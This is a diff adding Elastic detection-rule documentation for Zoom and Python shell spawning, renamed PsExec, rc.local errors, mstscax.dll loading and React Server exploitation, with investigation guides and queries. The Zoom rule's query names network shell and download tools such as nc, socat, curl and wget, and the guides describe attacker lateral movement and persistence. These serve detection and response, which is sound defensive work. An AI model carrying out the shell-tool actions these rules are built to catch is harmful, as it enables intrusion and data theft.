downloader, or network utility. This rule detects +suspicious Zoom child processes on macOS and Linux and in-place Zoom process-image replacement on Linux, where Elastic +Defend records the prior image in `process.previous.executable`. The Linux logic identifies the Zoom executable +regardless of its installation path. + + +*Possible investigation steps* + + +- Determine which branch matched. For a child process, verify that `process.parent.executable` is the genuine Zoom + client. For Linux image replacement, compare `process.previous.executable` with `process.executable` and review the + new image's path, hash, arguments, and provenance. The image-replacement branch excludes direct Zoom children because + `process.previous.executable` includes the image inherited at fork as well as subsequent executions. +- Review the process command line and arguments for payload download, shell commands, persistence, credential access, + discovery, or outbound connection activity. +- Use `process.entity_id` and `process.parent.entity_id` to examine related process, file, and network events before and + after the alert. Look for additional payloads, persistence changes, credential access, and communication with + untrusted destinations. +- Confirm the installed Zoom version and whether it was vulnerable at the alert time. Zoom Workplace releases before + `7.1.5` and `7.0.6` in their respective branches are affected by CVE-2026-53413. +- Establish whether the user was in a Zoom meeting near the alert time. Preserve the meeting UUID and occurrence, + participant report, client version, join and leave times, screen-sharing state, and available Zoom client logs. +- Review crash diagnostics for annotation-library faults or memory-corruption indicators near the alert. A crash alone + is not sufficient evidence of exploitation. +- Check for other alerts on the host and for similar activity involving the same meeting participants or source + infrastructure. + + +*False positive analysis* + + +- Zoom may invoke legitimate support, diagnostic, accessibility, update, or enterprise-management tooling. Validate the + binary's signature, path, command line, prevalence, and relationship to an approved workflow. +- Zoom performs Linux startup checks through a shell, including audio, graphics, desktop portal, and process-limit + discovery. The known commands are excluded by this rule; investigate variations or additional chained commands. +- Opening authentication or meeting links normally uses an operating-system broker and should not require Zoom to spawn + a shell or replace its own image. Treat direct shell, interpreter, or downloader execution as suspicious unless a + specific benign workflow is confirmed. + + +*Response and remediation* + + +- If exploitation is suspected, isolate the host and preserve process, file, network, crash, Zoom client, and meeting + audit evidence before terminating processes or reimaging. +- Update Zoom to a fixed release and enforce minimum client versions. Until vulnerable clients are removed, disable + end-to-end encryption so Zoom's server-side annotation filtering can inspect meeting content. +- Restrict meeting access with waiting rooms, passcodes, and authenticated-user requirements, and disable unnecessary + annotation, whiteboarding, remote-control, file-transfer, and participant screen-sharing features. +- Remove malicious artifacts and persistence, rotate credentials accessible to the compromised user or process, and + investigate other participants and endpoints associated with the meeting. + + +==== Setup + + + +*Setup* + + +This rule requires process events from Elastic Defend on macOS or Linux. + +Elastic Defend is integrated into the Elastic Agent using Fleet. Configure the integration to collect process events +from protected endpoints. The Linux image-replacement branch requires `process.previous.executable`, which Elastic +Defend provides on Linux `exec` process events. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action == "exec" and + ( + ( + host.os.type == "linux" and + process.previous.executable : "*/zoom" and + not process.executable : "*/zoom" and + not process.parent.name : "zoom" + ) or + ( + host.os.type in ("macos", "linux") and + ( + (host.os.type == "macos" and + process.parent.executable : "*/zoom.us.app/Contents/MacOS/zoom.us") or + (host.os.type == "linux" and + process.parent.name : "zoom") + ) and + process.name : ( + "sh", "bash", "zsh", "dash", "ksh", "fish", "ash", "mksh", "tsh", "tcsh", "pwsh", + "python*", "perl*", "ruby*", "php*", "lua*", "node", "nodejs", "osascript", + "curl", "nscurl", "wget", "nc", "ncat", "netcat", "netcat.openbsd", "netcat.traditional", + "nc.openbsd", "nc.traditional", "socat", "openssl", + "chmod", "xattr" + ) and + not ( + host.os.type == "linux" and process.name in ("sh", "bash") and + process.args : ( + "lspci", + "pacmd --version", + "pacmd list-sinks |grep 'name:\\|module:'", + "pipewire --version", + "ls /usr/share/xdg-desktop-portal/portals/", + "/usr/libexec/xdg-desktop-portal --version", + "cat /proc/sys/kernel/pid_max" + ) + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-via-renamed-psexec-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-via-renamed-psexec-executable.asciidoc new file mode 100644 index 0000000000..c9d97fff05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-process-execution-via-renamed-psexec-executable.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-suspicious-process-execution-via-renamed-psexec-executable]] +=== Suspicious Process Execution via Renamed PsExec Executable + +Identifies suspicious psexec activity which is executing from the psexec service that has been renamed, possibly to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Execution via Renamed PsExec Executable* + + +PsExec is a remote administration tool that enables the execution of commands with both regular and SYSTEM privileges on Windows systems. It operates by executing a service component `Psexecsvc` on a remote system, which then runs a specified process and returns the results to the local system. Microsoft develops PsExec as part of the Sysinternals Suite. Although commonly used by administrators, PsExec is frequently used by attackers to enable lateral movement and execute commands as SYSTEM to disable defenses and bypass security protections. + +This rule identifies instances where the PsExec service component is executed using a custom name. This behavior can indicate an attempt to bypass security controls or detections that look for the default PsExec service component name. + + +*Possible investigation steps* + + +- Check if the usage of this tool complies with the organization's administration policy. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. As long as the analyst did not identify suspicious activity related to the user or involved hosts, and the tool is allowed by the organization's policy, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.pe.original_file_name : "psexesvc.exe" and not process.name : "PSEXESVC.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-python-shell-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-python-shell-command-execution.asciidoc new file mode 100644 index 0000000000..e491504e22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-python-shell-command-execution.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-suspicious-python-shell-command-execution]] +=== Suspicious Python Shell Command Execution + +Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Linux +* Platform: macOS + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Python Shell Command Execution* + + +This rule flags Linux or macOS activity where Python rapidly launches multiple shell commands through sh/bash-style interpreters, a strong sign that a script is driving hands-on execution rather than normal application behavior. An attacker might use a Python backdoor to run `sh -c` commands such as `whoami`, `uname`, `env`, `find`, and `curl` in quick succession to profile the host, locate data, and pull down follow-on tools. + + +*Possible investigation steps* + + +- Reconstruct the full process tree around the Python parent to identify the originating script or module, execution path, user context, and whether it was launched by an interactive session, scheduled task, service, container runtime, or approved automation. +- Review the Python code or script content that spawned the shells, along with recent file creation or modification and package installation activity, to determine whether it is legitimate application logic or an unexpected payload introduced in temporary, user, or application directories. +- Compare the clustered shell commands with any immediate follow-on behavior such as outbound network connections, tool downloads, archive creation, credential store access, or additional interpreter launches to assess whether the activity moved from discovery into payload delivery or exfiltration. +- Pivot on the same host and Python execution lineage for prior and subsequent events to uncover persistence or lateral movement indicators, including cron or systemd changes, launchd modifications, SSH activity, or repeated execution patterns across other endpoints. +- Validate with the asset or application owner whether the behavior matches known deployment, build, or administrative workflows, and if it does not, isolate the host and collect memory, script artifacts, and shell history for deeper analysis. + + +*False positive analysis* + + +- A legitimate Python administration or deployment script may call `sh -c` to run discovery and download commands such as `whoami`, `uname`, `env`, `find`, or `curl` during host setup; verify the parent Python script path, user, and working directory match an approved maintenance job and that the command set is expected for that script. +- A Python application on Linux or macOS may spawn shell wrappers during startup, diagnostics, or update checks and generate several distinct commands within a minute; confirm the Python executable and child shell activity originate from the expected application directory and correlate with a recent authorized install, upgrade, or troubleshooting session. + + +*Response and remediation* + + +- Isolate the affected Linux or macOS host from the network, terminate the malicious Python process and any spawned `sh -c` or `bash -c` children, and block any external IPs, domains, or download URLs the script contacted. +- Preserve and quarantine the Python script, shell history, downloaded payloads, and files created in temporary, user, or application directories, then remove attacker persistence such as cron jobs, systemd service or timer units, launchd plists, login scripts, and unauthorized `authorized_keys` entries. +- Restore the system to a known-good state by removing attacker-created files only after collection, reinstalling or repairing modified packages and startup items, and reimaging the host if system binaries, security tools, or core configuration files were altered. +- Rotate credentials and secrets exposed on the host, including local accounts, SSH keys, API tokens, and application or cloud credentials, especially if the shell activity included `env`, keychain access, history review, or reads from credential files. +- Escalate to incident response immediately if the Python-launched shells used `curl` or `wget` to fetch payloads, established outbound sessions to untrusted infrastructure, touched multiple endpoints, or showed evidence of credential theft, persistence, or data collection. +- Harden the environment by restricting Python and shell execution from temporary or user-writable paths, limiting which users and services can invoke shell interpreters, tightening egress controls, and adding detections for Python spawning shell commands, new cron or launchd items, and unauthorized SSH key changes. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _version, _index + +| WHERE host.os.type in ("linux", "macos") and event.type == "start" and TO_LOWER(process.parent.name) like "python*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and + KQL("""event.action:"exec" and process.args:("-c" or "-cl" or "-lc")""") + +// truncate timestamp to 1-minute window +| EVAL Esql.time_window_date_trunc = DATE_TRUNC(1 minutes, @timestamp) + +| EVAL Esql.process_command_line_patterns = CASE( + process.command_line like "*grep*", "grep", + process.command_line like "*find*", "find", + process.command_line like "*curl*", "curl", + process.command_line like "*env *", "environment_enumeration", + process.command_line like "*wget*", "wget", + process.command_line like "*whoami*" or process.command_line like "*uname*" or process.command_line like "*hostname*", "discovery", "other" +) + +| KEEP + @timestamp, + _id, + _index, + _version, + Esql.process_command_line_patterns, + Esql.time_window_date_trunc, + host.os.type, + event.type, + event.action, + process.parent.name, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + process.parent.entity_id, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| STATS + Esql.process_command_line_count_distinct = COUNT_DISTINCT(process.command_line), + Esql.patterns_count_distinct = COUNT_DISTINCT(Esql.process_command_line_patterns), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + BY process.parent.entity_id, agent.id, host.name, Esql.time_window_date_trunc + +| SORT Esql.process_command_line_count_distinct DESC +| WHERE Esql.process_command_line_count_distinct >= 5 AND Esql.patterns_count_distinct >= 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rc-local-error-message.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rc-local-error-message.asciidoc new file mode 100644 index 0000000000..586a0e9bb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rc-local-error-message.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-suspicious-rc-local-error-message]] +=== Suspicious rc.local Error Message + +This rule monitors the syslog log file for error messages related to the rc.local process. The rc.local file is a script that is executed during the boot process on Linux systems. Attackers may attempt to modify the rc.local file to execute malicious commands or scripts during system startup. This rule detects error messages such as "Connection refused," "No such file or directory," or "command not found" in the syslog log file, which may indicate that the rc.local file has been tampered with. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious rc.local Error Message* + + +The rc.local script is crucial in Linux systems, executing commands at boot. Adversaries may exploit this by inserting malicious scripts to gain persistence. The detection rule monitors syslog for specific error messages linked to rc.local, such as "Connection refused," indicating potential tampering. This proactive monitoring helps identify unauthorized modifications, mitigating persistent threats. + + +*Possible investigation steps* + + +- Review the syslog entries for the specific error messages "Connection refused," "No such file or directory," or "command not found" associated with the rc.local process to understand the context and frequency of these errors. +- Check the rc.local file for any recent modifications or unusual entries that could indicate tampering or unauthorized changes. +- Investigate the source of the error messages by identifying any related processes or network connections that might have triggered the "Connection refused" error. +- Examine the system's boot logs and startup scripts to identify any anomalies or unauthorized scripts that may have been introduced. +- Cross-reference the timestamps of the error messages with other system logs to identify any correlated suspicious activities or changes in the system. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify the rc.local file, triggering error messages. Users can create exceptions for known update processes by identifying the specific software and excluding its related syslog entries. +- Custom scripts or administrative tasks that intentionally modify rc.local for legitimate purposes might cause false alerts. Document these scripts and add them to an exclusion list to prevent unnecessary alerts. +- Network configuration changes can lead to temporary "Connection refused" errors. If these changes are expected, users should temporarily adjust the monitoring rule to ignore these specific messages during the maintenance window. +- System misconfigurations or missing dependencies might result in "No such file or directory" or "command not found" errors. Regularly audit system configurations and ensure all necessary files and commands are correctly installed to minimize these false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of potential malware. +- Review the rc.local file for unauthorized modifications and restore it from a known good backup if tampering is confirmed. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or software. +- Check for additional persistence mechanisms by reviewing other boot or logon initialization scripts and scheduled tasks. +- Escalate the incident to the security operations team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring on the affected system and similar systems to detect any future unauthorized changes to boot scripts. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical system files like rc.local. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:system.syslog and process.name:rc.local and +message:("Connection refused" or "No such file or directory" or "command not found") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rdp-activex-client-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rdp-activex-client-loaded.asciidoc new file mode 100644 index 0000000000..ea11fdcb0a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-rdp-activex-client-loaded.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-suspicious-rdp-activex-client-loaded]] +=== Suspicious RDP ActiveX Client Loaded + +Identifies suspicious Image Loading of the Remote Desktop Services ActiveX Client (mstscax), this may indicate the presence of RDP lateral movement capability. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3 +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious RDP ActiveX Client Loaded* + + +The Remote Desktop Services ActiveX Client, mstscax.dll, facilitates remote desktop connections, enabling users to access and control other systems. Adversaries may exploit this by loading the DLL in unauthorized contexts to move laterally within a network. The detection rule identifies unusual loading of mstscax.dll outside typical system paths, flagging potential misuse indicative of lateral movement attempts. + + +*Possible investigation steps* + + +- Review the process executable path to determine if mstscax.dll was loaded from an unusual or unauthorized location, as specified in the query. +- Check the associated process and user context to identify who initiated the process and whether it aligns with expected behavior or known user activity. +- Investigate the network connections associated with the process to identify any suspicious remote connections or lateral movement attempts. +- Examine recent login events and RDP session logs for the involved user account to detect any unauthorized access or anomalies. +- Correlate the alert with other security events or logs to identify potential patterns or related suspicious activities within the network. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts that load mstscax.dll from non-standard paths may trigger false positives. To mitigate this, identify and document these tools, then add their paths to the exclusion list in the detection rule. +- Software updates or installations that temporarily load mstscax.dll from unusual locations can cause false alerts. Monitor and log these activities, and consider excluding these paths if they are consistently flagged during known update periods. +- Virtualization software or sandbox environments that use mstscax.dll for legitimate purposes might be flagged. Verify the use of such software and exclude their executable paths from the rule to prevent unnecessary alerts. +- Custom user scripts or automation tasks that involve remote desktop functionalities may load mstscax.dll in unexpected ways. Review these scripts and, if deemed safe, add their execution paths to the exclusion list to reduce noise. +- Network drive mappings or shared folders that involve remote desktop components could lead to false positives. Ensure these are part of regular operations and exclude their paths if they are frequently flagged without malicious intent. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further lateral movement by the adversary. +- Terminate any suspicious processes associated with the unauthorized loading of mstscax.dll to halt potential malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software. +- Review and analyze the system and network logs to identify any other systems that may have been accessed or compromised by the adversary. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Implement network segmentation to limit the ability of adversaries to move laterally within the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "mstscax.dll" or file.name : "mstscax.dll") and + /* depending on noise in your env add here extra paths */ + process.executable : ( + "C:\\Windows\\*", + "C:\\Users\\Public\\*", + "C:\\Users\\Default\\*", + "C:\\Intel\\*", + "C:\\PerfLogs\\*", + "C:\\ProgramData\\*", + "\\Device\\Mup\\*", + "\\\\*" + ) and + /* add here FPs */ + not process.executable : ( + "?:\\Windows\\System32\\mstsc.exe", + "?:\\Windows\\SysWOW64\\mstsc.exe", + "?:\\Windows\\System32\\vmconnect.exe", + "?:\\Windows\\System32\\WindowsSandboxClient.exe", + "?:\\Windows\\System32\\hvsirdpclient.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-react-server-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-react-server-child-process.asciidoc new file mode 100644 index 0000000000..bca704d46a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-react-server-child-process.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-34-suspicious-react-server-child-process]] +=== Suspicious React Server Child Process + +This rule detects suspicious child process activity from a React server application. This could be related to successful exploitation of CVE-2025-55182 or CVE-2025-66478. These vulnerabilities allow attackers to execute remote code due to insecure deserialization of React Server Components (RSC) Flight payloads, leading to unauthenticated RCE on servers running React 19.x or Next.js 14.3.0-canary+, 15.x, and 16.x with the App Router enabled + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Vuln: CVE-2025-55182 +* Vuln: CVE-2025-66478 +* Threat: React2Shell + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + 